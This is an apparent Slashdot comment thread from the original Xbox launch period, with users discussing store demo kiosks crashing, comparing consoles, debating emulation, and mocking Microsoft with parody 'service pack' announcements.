I highly doubt you could get a home PC that will play all of Xbox's games for $300 or just a bit more.
--
Promoting critical thinking since 1994.
That's why the Xbox would make an ideal web server when the Linux port comes out. Buy yourself a decent box for $299, MSFT loses $100 and you have yourself a webserver. It's win-win for everyone (with maybe the exception of Microsoft themselves).
I work on the salesfloor at a Target store and regularly work electronics. It seems every time I pass by the damn X Box kiosk I need to unlock it and reset it. The first day we had it the screen showed "Please Wait..." on the screen for the entire day until we managed to get keys to the kiosk to reset it. From what I've seen the graphics don't seem all that great, and the controls are much less than great. I think I'll just stick to my computer.
A consoles most important feature? Ease of use. Period. Look at the history, console addons like Segas 32x and Sega CD failed miserably. NOBODY needs addons that adds a "requirements" for their games. People want to be sure that whatever game they buy, they can play it out of the box. With no need to download/install/reboot Service Pack xx for xbox. I have a really hard time beliving MS could do a product right, the first time. They have no experince in this. Its just not the way they work overthere, MS seems to follow the following bizz. model:
First make press(aka. investors) happy = say you are going to release a really cool product, which does everything. At half the cost(time when we talk office apps/devtools) of their compeditors.
Next, focus on "looks" and making the deadline(you know you got around 6 month of buffer, since people dont really expect you to deliver on time).
Have a huge release party(where the app. chrashes), ship the product anyways.
After articles begin rising on "important" newssites like PCworld, beging to test the application. If under 34 bugs is cound, claim it works. And start building a service pack.
BUUT, Im probertly going to get a xbox anyways. Because its VERY VEEEEERY hackable.
And i would LOVE to be able to run linux on something MS produced.
You're going to listen to something I said? Haven't I made it abundantly clear during the tenure of our friendship that I don't know shit?
It's amazing how you all gloss over the fact that when Sony released the PS1 (RELEASED, not demo), there were hundreds of units that crashed due to heat problems, mine included.
And yet, despite these problems, PS1 effectively handed Nintendo their own testicles in a jar.
Xbox's biggest problem isn't its hardware - it's Microsoft's public image. Heck, I get flack to this day for having worked there at one point. If Xbox were made by, say, Matsushita, you wouldn't be giving it half the flak you're giving it now.
I have a friend who is a game developer and who will remain anonymous (nda bleh). He has been working with the Xbox dev kit and recently has gotten his xbox test machines in order to test his levels and what not. He says there are no problems other than those which would be there while play testing levels.
I wouldnt count out the entire Xbox because some demo doesnt work. Could the code from the developer of that demo be crap? I have personally seen some of what will be on Xbox and it has some great potential as well as some top notch developers in line to make some great games.
Its too bad that when it crashes, and when it has problems, it will just be blamed on Microsoft. Oh well.
Anyone find it interesting that MS has chosen Flextronic's biggest rival to do repair servicing for the Xbox? (Solectron). Methinks Flextronics must have really #$*&ked up somewhere in the Xbox manufacturing for this to happen.
, 2818014,00.html
http://gamespot.com/gamespot/stories/news/0,10870
Men believe what they want. - Caesar
Ya.. i went to the local Electronics Boutique in Coeur d'Alene, ID, and they had one of these kiosks setup.
Well, first off, the system was not working. It did have power, I hit a reset button on the kiosk and the cd activity/power button light started flashing. They did have a Halo miniposter right under the controllers, giving the impression that you could play halo.
Anyway, the xbox is a big box, much bigger then I expected.. and then theres the controllers.. I would say they could be used better as a type of weapon, morning star or something, as they are huge. I could not keep my hands in one position and push all the buttons with any ease.
The DOS crashes, the crumby DOS command-line, the Windows 3.1 inability to run in 386 protected-mode, the daily Windows95 crashes... all due to heat.
Warning: fully disrobed polygonal behind rendered and animated.
This will be XBOX's first killer app.
'He was a dreamer, a thinker, a speculative philosopher... or, as his wife would have it, an idiot.' - Douglas Adams
Why wont my pc play xbox games. It is essentially using off the shelf parts for it, i dont see why it would be hard to build an enviorment where the xbox cd would think its in an xbox. Stranger things have happened. You really cant say it wont happen because it most likely will. You cant say it wont happen because of any special hardware in the box, as it uses something similar to a geforce 3. I would say the only thing standing in the way of this is the content protection built into the cd, but I heard its using a form of DRM, and as we found out, isn't all that secure. By the way, Microsoft has to sell 6 games with each xbox to break even. This next year, MS will probably pump about a billion dollars into the xbox, advertising, makign consoles, etc.. They probably wont see a profit for a while, and thats ok with Microsoft. Their main goal is to get an xbox in everyhouse.. so the upgrade to the homestation wont be that bad.
On the kiosk i saw, it had a mockup of the Halo box cover, and I believe it said "only on xbox" =(
Im sure we will see halo on the pc, but probably after christmas, and it wont be for any technical reasons, why sell Halo on pc, when its the only good reason to buy an xbox this early. They know if they put it on pc, and the xbox at the same time, they will get less xbox sales.
I have never had a crash on my PS2 and I was a first day (US) buyer. I don't spend a lot of time gaming however (I mostly wanted to have it, to have it).
I have never seen a crash or hang in a store, but once again, I haven't spent hours haning out in mall electronic stores.
That all said, Sony had lead time by releasing in Japan first to shake out many bugs. Microsoft will have virtually no time to fix any perceived problem while the Holiday season is in full swing.
Rightly or wrongly, the general public associates crashing with Windows. Any above average occurance of crashes will doom this product, and be a black eye for Microsoft.
For X-Box Fans, cross your fingers and hope it's the heat.
Letter To Iran
You can download the Sp1 for the Xbox, should clear everything up. We will be shipping the service pack with the Xbox rather than delay the shipping date. You can expect a couple of Hotpatches in the next couple as our beta testers get a hold, I mean our first customers get a hold on the games.
Enjoy.
Neck_of_the_Woods
#/usr/local/surf/glassy/overhead
Or it could be as successful as NeTraverse, Loki, Penguin Computing, or VA Linux! Rock on!
Where are we going and why am I in this handbasket?
Can you please return Munch to the PC? NOW?!
I'm determined to reclaim my karma. Now, if I can only find a groundbreaking article and something witty to say....
Buy stock
What you need to do to clear this up is goto www.microsoft.com/xbox and download the newest Service Pack (sp1) for the Xbox. This should clear everything up for you. We will be releasing some Hotpatches in the next couple of days as our beta testers get thier hands on the games. I am sorry I ment to say our customers get thier hands on the game. We will not be changing the release date we will just include the SP1 cd with the release.
Enjoy.
Neck_of_the_Woods
#/usr/local/surf/glassy/overhead
Of course, being Microsoft they say "may" but I'm guessing its pretty certain.
Yeah, and DOA2 was Dreamcast only.
There will be DOA3 for every platform, they'll just call it something like "DOA3 Special Edition" or something so that they can slap an XBox exclusive tag on it when XBox comes out and still get away with it. Like when "DOA2: Hardcore" came out for PS2. Either that, or it'll basically be the same game as DOA2.
The publisher will push the game for every nickel.
Is DOA3 still planned as x-box only?
Is that as in Dead On Arrival?
A computer without Microsoft is like ice cream without ketchup.
That's really the problem - once the Xboxs and games are shipped there aren't patches. I don't think M$ has the mentality of the console down... what are they going to do? Distribute flash-ROM system upgrades for everyone who bought 1.0?
Consoles are suppossed to be like toasters - you plug them in, press the button and they just work.
Every system upgrade - assuming you get people to do it stands a chance of breaking already shipped games - then you'll have ot upgrade you DOA3 to version2 to get it to work again.
I don't think so...
Shipped is shipped.
=tkk
Bill Gates - Creationist?!?
Error messages should also show the relevant parts of the EULA and have button saying "I Agree" instead of "OK".
There are several reason why it most likely won't happen, as you would know if you did some homework before posting. First, the version of DirectX used is NOT the same as what you get on a PC. The APIs are different. And we know how much luck we've seen with people trying to reverse those. Second the OS itself is not the same as any other MS OS. It's 2k kernal based, but w/o memory protections, multiuser, allows client apps to run at ring 0, etc. etc. All of this means that even IF you got the Xbox APIs reversed, you would then have to reverse that kernal and run a Xbox2k emulator on top of windows/linux itself. Another big one is UMA - unified memory architecture. The main memory for the xbox IS the video memory, period. No AGP bus, no transfering, nothing. There are no routines in the XDK for moving textures to the video card. That would be a HUGE problem to deal with in emulation. Even if you used a 64meg video card to load it all there, you still can't run the program stuff from there which means you have propagation issues. Lastly, the graphics processor for the Xbox is not a GeForce3. It is a similar archetecture, but not the same. No card on will hit the market that has the same internals as the Xbox chip, Nvidia has stated as much and you can bet it's in their contract with Microsoft.
jello.
aka aron.
MS doesn't own DOA3 and would have nothing to do with a PS2 version. It's being written by the same company that did 1 & 2. The statement merely says that MS doesn't have an exclusive arrangement with the dev studio.
-Brian
"Faith strikes me as intellectual laziness." -Robert A. Heinlen
What's the point of a computer in a console? If I wanted better games with better graphics, but didn't mind fighting with configuration, hardware specs, blah, I'd just play a computer game. A console is for those of us who want to smoke a bowl, grab a bag of Doritos, and veg out in front of the TV. It's designed to be FUN. To me, dealing with a hard drive, OS, etc. is exactly what I DON'T want from a game system. Screw that. All I need from my console is a place to put the CD/cartridge in, and a power button. Anything else is to damn complicated. I'll stick with the PS/2. Remember: "Puff, Puff Give!"
Gameplay is in the game, not the console. There are many games on many consoles with no gameplay. All your base are belong to us!
So, what your telling me is that you are predicting the future, and there will NEVER be an xbox emulator? I wonder if you shared the same thoughts when the PS1 came out, or the Dreamcast? Those systems dont even use an x86 architecture, yet you can get emulators on your pc for them. I really dont see why someone who knows what they are doing couldn't figure this out. You say its a win2k kernel, with less crap in it, hmm, that doesn't sound like it would be harder to figure out. Anyway, all im saying is that I feel we will probably see this sometime in the future... its been done before, and im sure it will be done again.
That's about as an intelligent a comment as saying someone with an MBA from Havard is dumb because they don't make good speeches.
Derek Greene
If they are running pre-release (beta) versions of the software for demo purposes there may also be some lock ups. I develop games for consoles and believe me it is possible to lock them up with buggy code. While anything that is a full released package (software), has undergone some pretty thorough testing by the console manufacturer before the manufacturer (sony, nintendo) will put their name on it and let it ship. So if the software on the xbox is beta it may be at fault as well as anything.
All your devKits are blong to US!
Fly Fish? Participate in our forum
and it blue screened on him? LOL this reminds me of that. hehe... xbox.
Find Escorts, Strippers, Massage Parlours, Swingers
It even took the Gates family three tries:
William H Gates III
-D
Do you realise that you are the only other person I have seen who has made the MSX -> MSX Box connection, in all the X Box articles I 've seen? Amazing.
Expect for the fact that we already had an N64 emulator for two years that performs at higher resolutions than an N64, and at times, faster than an N64.
So yes, there can be an xbox emulator, especially since, unlike the SGI, it's sooo close to a PC. Hey, we have Playstation, and MacOS/windows emulators as well. You haven't been following the emulation scene (or even looked at it) for the past 5 years have ya?
I have to tell you all, I was playing this and thank God it crashed... I don't know if you all know about this new ActiveDeath technology.
Also don't forget that you can preorder units now
hmm... for fun I enjoy launching DDoS attacks against 127.87.42.5
Sorry, that's a bad link (first Google link I got.) Here's the HLE site.
Man, if overhyping is going to kill a product, what's the deal with every single OS and product shipped my M$? Talk about overhype. We can only hope that XBox dies from overhype.....
There's an "option" switch for bouncy breasts? Can you set the size as well? Forgive me, I haven't played any of the series... just saw the buck-naked toon in the intro movie and thought it might be of interest to all of the graphics kiddies.
'He was a dreamer, a thinker, a speculative philosopher... or, as his wife would have it, an idiot.' - Douglas Adams
But the interesting thing was a severe grinding noise that was definately coming out of the Xbox. The kiosk had Xbox, PS2 and I believe n64 (which i'm sure will be replaced with the game cube at some point) and the grinding noise was DEFINATELY coming out of the Xbox. Did anybody else experience this? I'm not sure if it was the disc spinning or harddrive noises. And I think the controller sucked. I'll stick to my less obtrusive, less buttoned PS2 controller.
----
Spam subject of the moment: Offshore account secrets -nashville disrupt
I remember the first John Madden on Genesis. When your opponent was going to kick a field goal, you could keep going offsides for a couple of minutes, and then his kicker would always miss... But sometimes the game would crash instead! :)
Maybe M$ should put extra large fans on the demo units. You can still cool with hot air, you just need more of it
That's why the Xbox would make an ideal web server
I don't know, man. I read an article somewhere that says that the Xbox crashes!
"Beware he who would deny you access to information, for in his heart he deems himself your master."
Man, if overhyping is going to kill a product, what's the deal with every single OS and product shipped my M$? Talk about overhype.
There wasn't really much fanfare when Windows 98 was released; M$ kept claiming it was an "extremely minor touch-up".
Perhaps they were trying to conceal the fact that all they did was illegally bundle in their web browser and fuck up the "shut down" feature so it would hang...
"Beware he who would deny you access to information, for in his heart he deems himself your master."
So, what happens when like 40% of these boxes get put down on to thick carpet and left turned on for days on end? Lemme guess... add-on fans? recall? No. I'll bet that they'll offer competetive trade-ins on Microsoft XboX XP release2.
(reminds me of that movie with Chevy Chase where they are selling super-duper spy planes that can do everything except when they get wet, they go haywire... someone shouts out, "have you ever heard of RAIN?!?"
well, i'd bet more on the 5-month old version of oddworld they were running as demos .. plus the older hardware.
.. but they're also not meant to be used for such long periods of time (granted, it should be expected in quality testing, but still) in such a small enclosure.
yes they run rather warm, etc
plenty of games have locked up before, and on other systems as well... but of course, since its slashdot, we should focus on microsoft and the evil from redmond.
no i'm not a microsoft supporter, yes i've played the console before, no it's not crashed on me.
wanna look at buggy, play anything by 3do.
They seem to largely take a beating and keep on ticking. When the PS2 pre-rollout occured, they had nearly all the kiosks working with no hitches. What's going on with the XBox is not going to fly with most of the market- no matter what people think otherwise.
I am not merely a "consumer" or a "taxpayer". I am a Citizen of the State of Texas
You can see it running MAME here, btw....
http://www.otakunozoku.com/xbox/index.html
Yes, but the units have been produced and shipped at this point, so there is no chance to fix any problems now. Unless they do some massive recall/crosship type deal... (doubtfull). Face it... you'll be receiving your regular X-Box service packs, just like any other Microsoft Product.
"The Making of the Xbox"
The Xbox is here. Manufacturing is history.
It's really about contract electronics manufacturers. Flextronics picked up the contract to make the boxes, and has supposedly built more capacity to handle the expected demand.
Display some adaptability.
Actually, even before System 7, expandable Macs (The Mac II series) were shipping. If my memory serves me, the Mac II and IIx had 7 NuBus (developed by TI) slots, while the smaller Mac IIci and IIcx had 4 NuBus slots. The cases were very easy to open, though not as elegant as a G4 or G3 case. True, there were the SEs amd Classics, that were difficult to open, but your statement that "The Macintosh of that era was specifically designed to be impossible for the average person to open" is just plain wrong.
There ain't no rules here; we're trying to accomplish something.
I actually saw an Xbox working here in Lincoln, NE in Software Etc. Overall, I was not impressed. Since there was nothing playable, I decided to watch a trailer for Bungie's Halo. I was surprised to find out how shitty it looked. But then I sucked my eyes out of the screen, and oh looky, That's a TV, not a computer monitor!
The moral is, computer games are not meant for the TV. Halo would look awesome on a computer monitor.
And anyway, I'd like to see what those guys at Nintendo are doing. Last I heard, the gamecube was easier and faster to program for as well as more optimized. No matter how fast the Xbox is on paper, that doesn't mean jack shit if those programmers can't make it optimized.
Beyond specs, Nintendo has several good games for it. Heh...just a cool thought, imagine Mario coming out saying "GIVE IT UP FOR-A MEEEEEEE!!!!" while ripping his shirt off exposing his winter coat of chest hair. ANYWAY, Nintendo has a reputation for good games and good consoles. I doubt that Microsoft can produce a superior product.
AND remember that Microsoft will be getting a bigger slice on the games that they themselves publish.
So, please tell me:
Why has my Playstation2 never crashed?
it seems everytime microsoft puts something out, the first several versions of it are horrible. then they work like crazy to improve it until eventually it is sometimes superior to whatever else is competing with it. internet explorer is a good example; started out as a fringe product, now it has great standards compliance. etc etc etc
Rightly or wrongly, the general public associates crashing with Windows. Any above average occurance of crashes will doom this product, and be a black eye for Microsoft
I'm not so sure. The general public associates crashing with computers more than they associate it with Windows (they regard computer crashes as "just how computers are"). Thanks to Win9X, the general public has never had an expectation of computers running 24/7 anyway, and I think most people will quickly mentally adjust to accepting XBox crashes as "normal", even if they did not think of game consoles as being unstable before. At most LANs I've been to I've seen many people resetting their frozen Windows boxes, and nobody even bats an eyelid, its such a "normal", accepted part of using Windows; people have been conditioned to accept defective products as normal, and this sort of conditioning happens extremely quickly. You'll probably see some bitching in the media for a month (or two at most) while people are still a bit peeved, but after that people will have gotten used to the idea and will have accepted the fact that they can do nothing about it anyway.
Windows 3.1, 95, 98 and Me, as defective products, have been an incredibly huge "black eye" for Microsoft over the past decade, yet millions of people blithely accept it and buy it anyway. Its taken MS almost ten years to even bother to try to start producing a somewhat more stable consumer OS - they very obviously have NO sense of urgency in pushing a stable, reliable product out the door. I don't see MS giving a shit about it if the XBox is as unstable as Win9X.
Still, if the problem isn't the heat, then it shouldn't be too difficult for them to locate the problems and fix them in future XBox releases, and we can possibly expect them to even actually fix the problems during the first year (might be driver issues or hardware issues). People generally have very short memories, and if future releases are a lot more stable, then XBox will be a big success anyway, 99% of people will completely forget that the 1st generation was unstable, the other 1% will reminisce about it on online forums such as /.
and if your dumb enough to actually *buy* first generation technology , then you deserve all you get, because throughout history time has proven that first generation (IE first "public" build) of just about any hardware / software ever made, has bugs, simple.
people create software / hardware, people make mistakes, get over it.
Oh, you mean Dead On Arrival 3? Yeah, that would be X-Box only.
#o#
O Moo.
You're a drug addict. Shenmue II has already been released in Japan, and is on its way in America for the Dreamcast. If you're talking about Shenmue III...now that's news that I'm interested in. I try to keep up, but I haven't been able to find any information about Yu Suzuki's plans for the series after Shenmue II.
But in the video game world (especially home consoles) "exclusive" titles are usually interpreted as exclusive until they feel like porting it over to another system (usually a year) or when a system is on it's last lifeline.
Remember when Resident Evil: Code Veronica was exclusive for Dreamcast? Now it's on PS2 and will be headed to GameCube.
Speaking of which, for those who didn't know, Capcom announced plans to make the whole Resident Evil series GameCube EXCLUSIVE, both past and future titles.
This includes the once exclusive Dreamcast RE:Code Veronica. Fun, ain't it?
Or about as dumb as assuming someone is smart because they graduated from Harvard.
Time for an update to the BSOD screensaver. We need that Green Screen of Death, especially if it does a GL floating thing.
Actually, Shenmue II for Dreamcast has been cancelled.
see?
Or as dumb as associating lack of common sense with complete stupidity. :-)
Derek Greene
So then why exactly did you read this one?
Carpe Deez
IIRC it's a MIPS chip in the PS2, hence Debians interest in keeping a MIPS branch running.
'There is a Light that never goes out.'
quote
I got duped into reading this one because it was categorized with "Games."
/quote
Um, you'd understand his poste if you actually read it. Or are are you still confused? Sheesh!
If all you have is a hammer, everything looks like a nail.
hack it and make it a stable Linux web server.
... this hardware isn't doing half the work of today's operating systems.
:)
After 20 years of development in the videogame era, we shouldn't be forced to put up with videogame crashes in videogame consoles
It seems like the most stable console was probably halfway in the era between hand-coding assembly in small cartridges, && today's CD releases made with bloated compilers. If Xbox is as heat-generating and stable as my 8-bit Nintendo, I don't want to run any games on it; I'll just buy the PC version of the games so they crash where they're supposed to: Windows
Pardon my ranty mood, I despise seeing NON-desktops crash because we can't troubleshoot them and they don't get fixed.
"Wireless : LAN
But it did!.. :) .. Read again.. I had one of these(SVI-728) and even one of the predesessors: SVI-328 wich was almost MSX. They were very nice and expandible machines for their times. Only thing that buged me was the 8-pixels at a time scroll that Konami always used... gaaaaaahhhhh!!!....
To continue the previous guys rant: MSX was actually kindof an open standard. There were specifications which several electronic manifacturers had agreed on and they could build their own computers with aditional memory, bells and whisles as long as they complied to the standard. MS wasn't that big at that time so they played nice in the small-middle league. But that's history. The standard was developed because all the different home computer systems that were evolving were uncompatible and it wasn't cost effective to make games and port them around. I smell some Java thinking there..... but then again it may be just me... :)
For more info: www.msx.org
Cheers...
$HOME is where the
-- silver_p
But continuing...I think you are thinking more of 1.0's of software...sure they crash. A lot of times, companies just use the public as a testing pool for early releases. But not hardware...you can rewrite software, but if you sell someone a boat anchor for $400, they get mad.
I think we should just run *nix on it.
Who is this Anonymous Coward character, how does he post so much, and why is he always such a whore?
Doesn't Apple bill everything they release as "The Best Thing EVER!" ?
I see even classic Slashdot is now pretty much unusable on dial up anymore.
Umm... that would be an example of a game crashing, not a system failure. A game crash would be an error in the code that causes the same crash every time the right conditions are met. The system crash would pretty much involve the hardware randomly failing. The criticism is against the Xbox as hardware, not at any of it's games in particular. (A good analogy would be: Dell computers are bad because they are unstable. You would say: "Gateways suck too because I can get MS Office 2k to crash on my Gateway the same way each time!" One has nothing to do with the other.)
Good day.
... Not if you put Linux, *BSD, Solaris, etc on it
Microsoft is using a market penetration strategy. They are selling the XBox for less than component cost, and expecting to make profits later on game licences.
The obvious response is for all of us to go out and buy lots of Xboxen, strip them, and sell the parts at a profit (prefferably to Microsoft). Repeat.
- - You can't take something off the Internet! That's like trying to take pee out of a swimming pool.
Obviously MS has historically had the knack of coming late to a market with an inferior product and sweeping all aside but I really think they're going to fail to dominate the console market.
Consider this:
- Console gamers are (generally) a breed apart from PC gamers
- Brand identity is v. important in the console world. MS doesn't have an image there yet apart from perhaps being perceived as a bunch of old farts from the PC world.
- PC games != console games. The fundamental design ethos behind console games is for the most part totally different to PC games which tend to appeal to the more anal amongst us (and I say that as a PC gamer before anyone reaches for their flamethrower).
- If you want to play PC games you buy a PC, right? 12 months from now the bleeding edge gaming hardware for PCs will blow the XBox's frozen-in-time stuff away
Does any of that sound like a recipe for success? Not to me.....
Just because MS is infatuated with the PC paradigm (ouch! shoot me!) doesn't mean end users are. E.g. Sure, iPAQs are getting more popular but who still dominates the PDA market? Palm. We all know the reasons why but MS *can't* seem to see beyond their noses.
Mind you, I couldn't really give a rat's ass who wins the console war. It kinda reminds me of a bunch of school kids playing rock-paper-scissors.
'nuff said.
-Nano.
Railroad Tycoon II on Dreamcast locks up totally and reliably once your railroad empire gets large enough. I believe it's a WinCE based game.
In a few months, they'll release a 120MB "patch" that you can download that will disable games on your computer Misro$soft feels are insecure. Oh, it'll be $125, too.
today is spelling optional day.
it's reassuring to know that there's more to consoles than raw muscle.
...that it's the hottest console around! =)
Nope, didn't say never.. I said "very difficult". You won't be able to just 'slap together' an emulator as the above person seemed to imply. It will be a full emulation job, just like any other console. Which means that in 8-10 years we will have the hardware to almost make them run right (see SNES emus).
jello.
aka aron.
Well, it's kinda possible. It's normally called "renting" though :)
Assuming you have a patent license on the hardware, you could slap an EULA on that. That's no good when the patent expires though, which is a lot sooner than copyright expires. You could prolly put an EULA on the console's operating system, I guess. Ick.
my old sig used to be funny, but then slashcode ate it and now it's not funny anymore
In the ad for the x-box up here in Canada, it says that the x-box has a 90 day warranty, which can be extended to 1 year (sold & serviced by the store) for $49 Canadian. 90 days seems short to me. All the computer parts I buy are 1 year or more and I have returned 3 CD-ROM's in the last few years that initially worked, then died.
I'm willing to bet that within 3 years, XBox will dominate the game machines!!! Laugh all you want at MS, XBox will prevail..
The Microsoft SF store closes Thursday. Reportedly Sony doesn't want them in their Metreon building when the X-Box launches, competing with the PlayStation Store.
I have played golf.. didn't like it.. don't play anymore...
It was never a hobby to me.
I don't actually exist.